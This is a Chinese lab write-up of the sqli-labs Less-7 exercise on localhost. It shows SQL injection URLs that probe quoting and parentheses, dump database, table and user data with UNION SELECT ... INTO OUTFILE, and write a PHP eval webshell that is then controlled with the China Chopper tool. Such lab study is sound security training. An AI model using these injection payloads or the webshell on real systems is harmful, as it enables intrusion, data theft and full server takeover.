导出文件_GET_单引号_双小括号_字符型注入
0x01. 分析查询语句
想不到这件事倒成了重点…这关把报错做了处理统一:
You have an error in your SQL syntax
分析数字型/字符型及单/双引号注入:
http://localhost:8088/sqlilabs/Less-2/?id=1
http://localhost:8088/sqlilabs/Less-2/?id=1'
http://localhost:8088/sqlilabs/Less-2/?id=1"
第一、第三条正常,第二条报错:字符型注入
注意:这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。
分析是否存在括号及个数:
http://localhost:8088/sqlilabs/Less-7/?id=1' and 1=1--+
将查询语句后半段注释掉发现仍报错,说明有括号。依次增加括号个数,直到回显正常。
http://localhost:8088/sqlilabs/Less-7/?id=1')) and 1=1--+
注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。
0x02. 数据库导出文件
尝试导出:
http://localhost:8088/sqlilabs/Less-7/?id=1')) union select * from users into outfile "D:\\1.txt"--+
发现语法并未出错,但Mysql报错,且路径下并未出现文件。
可能原因1:权限不够,需要root权限才能对数据库进行读写操作。
用以下语句测试权限,回显正常:
http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+
说明并非权限不够的问题。
可能原因2:需要在指定的目录下进行数据的导出。
在Mysql命令行中测试:
select * from users into outfile "D:\\1.txt"
Mysql报错,原因是:Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv
这个参数用来限制数据导入和导出操作的效果,例如执行load data
、into outfile
语句和load_file()
函数,这些操作需要用户具有file
权限。
1. 如果这个参数为空,这个变量没有效果。
2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
3. 如果这个参数为null
,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。
于是查看secure_file_priv
:
show variables like '%secure%'
在指定的位置导出文件:
注意:在Mysql中,需要注意路径转义的问题,即用\\
分隔。
0x03. 导出文件注入
以上是通过白盒测试拿到的数据,在正常情况下,我们是不知道数据库名和表名的,可以用之前的注入方法依次得出。
步骤一:字段数
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+
步骤二:数据库名
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,user(),database() into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+
步骤三:表名
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+
步骤四:字段名
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+
步骤五:数据
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select * from users into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+
0x04. 中国菜刀
中国菜刀是一款专业网站管理软件,用途广泛,使用方便,小巧实用,更多的利用方式是用它来连接放在网站上的木马,来对被攻击的网站进行管理。
在该题中,若能将一句话木马<?php eval($_POST["cmd"]);?>
上传至站点的根目录或该web项目的文件夹,即更改secure_file_priv
参数,便可用中国菜刀连接webshell地址拿下整个站点。
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.php"--+
将其复制至Sqli-Labs的项目文件夹,使用中国菜刀连接http://localhost:8088/sqlilabs/1.php
。
可以看到在菜刀中能够管理整个服务器上的文件。
0x05. 导入/导出相关函数
@@datadir
——数据库存储路径
@@basedir
——Mysql安装路径
dumpfile
——导出文件,类似outfile
;不同的是,dumpfile
一次导出一行,会和limit
结合使用
load_file()
——将文件导入mysql,用法select load_file("文件路径")
使用
select ... into outfile
以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1
将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','
使用
select * into outfile
导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table
导入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'
fields terminated by ','
——字段间分割符
optionally enclosed by '"'
——将字段包围,对数值型无效
lines terminated by '\n'
——换行符
0x06. 吐槽
以上所有导出文件的注入同样可以用bool盲注的脚本跑出来(因为没有过滤且有回显)。
这题没有文件上传漏洞,虽说能改Mysql的参数,但很难得到站点根目录路径。